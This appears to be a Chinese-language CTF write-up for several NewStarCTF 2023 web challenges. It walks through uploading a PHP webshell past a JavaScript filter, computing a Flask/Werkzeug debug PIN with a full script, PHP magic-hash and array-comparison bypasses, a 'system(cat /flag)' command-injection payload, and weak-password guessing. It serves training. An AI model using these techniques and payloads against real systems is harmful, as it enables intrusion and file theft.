直接在URL处访问www.zip文件
将下载下来的www.zip文件解压即可得到flag
常见的文件泄露一般泄露的都是网站的备份文件,常见的备份的文件名通常为 wwwroot、www、子域名等,压缩包后缀通常为 zip、tar.gz 等
其他的也有配置文件的泄露。建议自己收集一个敏感文件的字典
很简单的文件上传
查看网页源码可以发现限制上传的js代码,是最没用的前端过滤
这里只需要F12,再F1,选择禁用js代码即可
接下来构造一个一句话木马
这里写用GET方式的马应该也可以,我没有试,感觉用webshell管理工具找flag更快
直接上传即可
打开自己的webshell管理工具,这里我用的蚁剑
URL地址是 IP/upload/demo.php
连接密码就是POST中的参数
点击测试连接,出现连接成功就代表成功了
选择保存,右键刚刚添加的数据
flag藏在根目录下
提示我们使用GET方式传参
http://ip/?ctf=1
又让用POST传参
先找一下secret的值
查看源代码,再代码中藏着secret的值
再进行base64解码
n3wst4rCTF2023g00000d
接着我们使用burp抓包
将抓到的包改为POST请求方式
接下来把cookie的power值改为ctfer即可
吧UA头改为NewStarCTF2023即可,注意不用带着浏览器三个字
这里需要添加一个Referer头,填入对应网址即可
本地用户这里我卡了很久,最后是用的X-Real-IP这个头,确实没想到
一看到Flask我就想到了之前做过的一个模板注入题和debug调试漏洞
来到题目,让我们穿一个number1和number2.那我们先传一个number1看看会咋样
很熟悉的报错界面,看到这里我当时基本确定了是需要计算pin,通过python的shell交互找flag,顺着这个思路让我吃了大亏啊
先来揭秘flag在哪,万万没想到啊,flag就在这个报错界面啊
展开 File "/app/app.py", line 11, in hello 即可看到flag
说到这里了,我简单介绍一下flask debug漏洞
在这个报错界面,我们把鼠标随便放到一行上,可以看的这个小黑框
点一下就提示我们输入pin
pin码的计算通常需要五个部分
首先是app的绝对路径,在报错界面即可找到
然后是uuidnode 通常在如下路径下
/sys/class/net/eth0/address
然后需要拿到ID 通常在如下这两个里面
/proc/sys/kernel/random/boot_id file
/proc/self/cgroup
最后需要username,一般在如下路径中
/etc/passwd
最后放到脚本中即可计算出pin码
这里附上大佬写的脚本
#sha1
import hashlib
from itertools import chain
probably_public_bits = [
'root'# /etc/passwd
'flask.app',# 默认值
'Flask',# 默认值
'/usr/local/lib/python3.8/site-packages/flask/app.py' # 报错得到
]
private_bits = [
'2485377581187',# /sys/class/net/eth0/address 16进制转10进制
#machine_id由三个合并(docker就后两个):1./etc/machine-id 2./proc/sys/kernel/random/boot_id 3./proc/self/cgroup
'653dc458-4634-42b1-9a7a-b22a082e1fce55d22089f5fa429839d25dcea4675fb930c111da3bb774a6ab7349428589aefd'# /proc/self/cgroup
]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
最后将计算出的pin码输入即可获得一个python的shell交互界面,通常这个漏洞需要配合任意文件读取漏洞的
又是小闯关
先简单介绍下五小关的大体意思
Level 1:要求用户提供两个参数 key1 和 key2,并检查它们是否不同且它们的MD5哈希值相等。
Level 2:用户需要通过POST请求提供 key3,并检查它的MD5哈希值是否与SHA-1哈希值相等。
Level 3:用户需要提供 key4 参数,然后检查它是否与文件 "/flag" 中的内容相等。
Level 4:用户需要提供 key5 参数,然后检查它是否不是数字且大于 2023。
Level 5:在这一级别,用户需要提供一些POST参数,并检查这些参数是否都不包含字母和数字。如果通过此检查,用户将能够查看 "/flag" 文件的内容。
如果两个字符经MD5加密后为 0exxxxx的形式,就会被认为是科学计数法,且表示的是0*10的xxxx次方,结果都是零,所以是相等的。
这里提供几个MD5后为0e的值
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a
顺利来到第二小关
Md5和sha1对一个数组进行加密将返回NULL;而NULL===NULL返回true,所以可绕过判断。
来到第三关
strcmp是比较两个字符串,如果str1
strcmp会判断字符串类型,如果强行传入其他类型参数,会出错,出错后返回值0,正是利用这点进行绕过。
这里我们同样传入数组进行绕过
来到第四小关,要求传入的字符串不能是数字且大于2023
PHP的对字符串的转换规则是:若字符串以数字开头,则最终的转化结果为开头的数字,否则为0
所以这里我们传入2024a即可
来到最后一小关
也是通过数组绕过的。
又是一段php代码
还是简单解释一下
首先检查POST方式传入的pssword和e_v.a.l的值是否为空,然后将pssword进行md5加密并传给变量password,e_v.a.l传给变量code,如果变量password的前六位为c4d038,也就是我们传入的password进行md5加密后的前六位为c4d038,再判断变量code中不包含那些过滤的字符,就是执行变量code的命令
这里有个大坑,e_v.a.l的命令不规范,三个点会被解析成_ ,这里就需要利用到php的一个特性了,大概是在php8.0版本以前的,"["会被解析成“_”,并且在“[”之后不规范的字符都不会再被转化,所以这里我们可以利用“[”进行绕过
后面命令执行的绕过方法有很多,随便用个自己喜欢的就行
password=114514&e[v.a.l=eval($_POST[1]);&1=system('cat /flag');
先随便注册一个用户,登陆进去
登录进去发现一个奇奇怪怪的交互模式
这里尝试 ctrl+c 或者 ctrl+d 能不能结束会话
ctrl+d结束会话之后,我找了一圈目录,只有一个bin目录,一般在bin下存放的都是可执行的命令
好像都没啥用,这里我突发奇想,一直摁↑能不能找到之前执行的命令呢
这里发现了敏感的命令了
这三条命令简单来说
将两个密码字符串写入文件
weak-passwd.txt
,然后从中随机选择一个密码,并将其存储在PASSWORD
环境变量中,最后删除weak-passwd.txt
文件
看来admin的密码应该就是这其中两个了
这里两个密码都不对,我要骂人了!!!!!!!
最后跑字典,弱口令000000登录成功了
提示用burp
最后在burp中发现一个302重定向请求,flag就在这里